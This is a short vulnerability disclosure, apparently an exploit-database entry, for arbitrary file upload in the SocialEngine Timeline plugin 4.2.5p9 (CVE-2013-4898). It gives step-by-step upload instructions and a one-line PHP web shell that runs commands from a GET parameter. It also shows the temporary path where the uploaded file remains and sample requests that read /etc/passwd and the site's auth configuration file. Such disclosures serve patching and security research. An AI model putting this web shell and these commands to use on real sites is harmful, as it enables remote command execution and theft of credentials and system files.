SocialEngine Timeline Plugin 4.2.5p9 - Arbitrary File Upload

# Exploit Title: Sending php file in the timeline plugin cover image of SocialEngine 4.5 
# Date: 2013-08-17 
# Discovered by: Wesley Henrique Leite aka "spyk2r" 
# Vendor Homepage: http://webhive.com.ua/
# Software Link: http://webhive.com.ua/store/product.php?id_product=46
# Version: plugin Timeline 4.2.5p9 for SocialEngine 4.5 
# Vendor Notified: 2013-08-17
# CVE Notified: 2013-08-24
# CVE : CVE-2013-4898


+ INTRODUCTION

The plugin has the objective give you a better visual for the user
profile, allowed the addition of cover image keeping the layout closest
to the style of modern social networks, among other features.

+ DESCRIPTION OF VULNERABILITY

Logged into the system, enter on profile page of your user. [my profile]

    http://[url]/index.php/profile/[profile-name]

    >> Click "Change Cover"

    >> Click "Upload Cover"

select the file "*.php" you want to send.

//### Example PHP file to send "inject.php" ### 
    <?php echo system("$_GET['cmd']"); ?> 
//###

After selecting the file upload, this will be sent to an area temporarily,
the system detects that the format is not valid, but doesn’t remove,
allowing access later.

an error message is displayed on the screen.

[ File "/srv/www/htdocs/XXXXXXXXXXX/public/temporary/timeline/cover_original_8.php" 
is not an image or does not exist ]

+ ACCESS

    /srv/www/htdocs/XXXXXXXXXXX/public/temporary/timeline/cover_original_8.php

The important thing is the structure of public forward, it will give 
us access to our archive.

    http://[url]/public/temporary/timeline/cover_original_8.php?cmd=cat%20/etc/passwd

    http://[url]/public/temporary/timeline/cover_original_8.php?cmd=cat%20../../../install/config/auth.php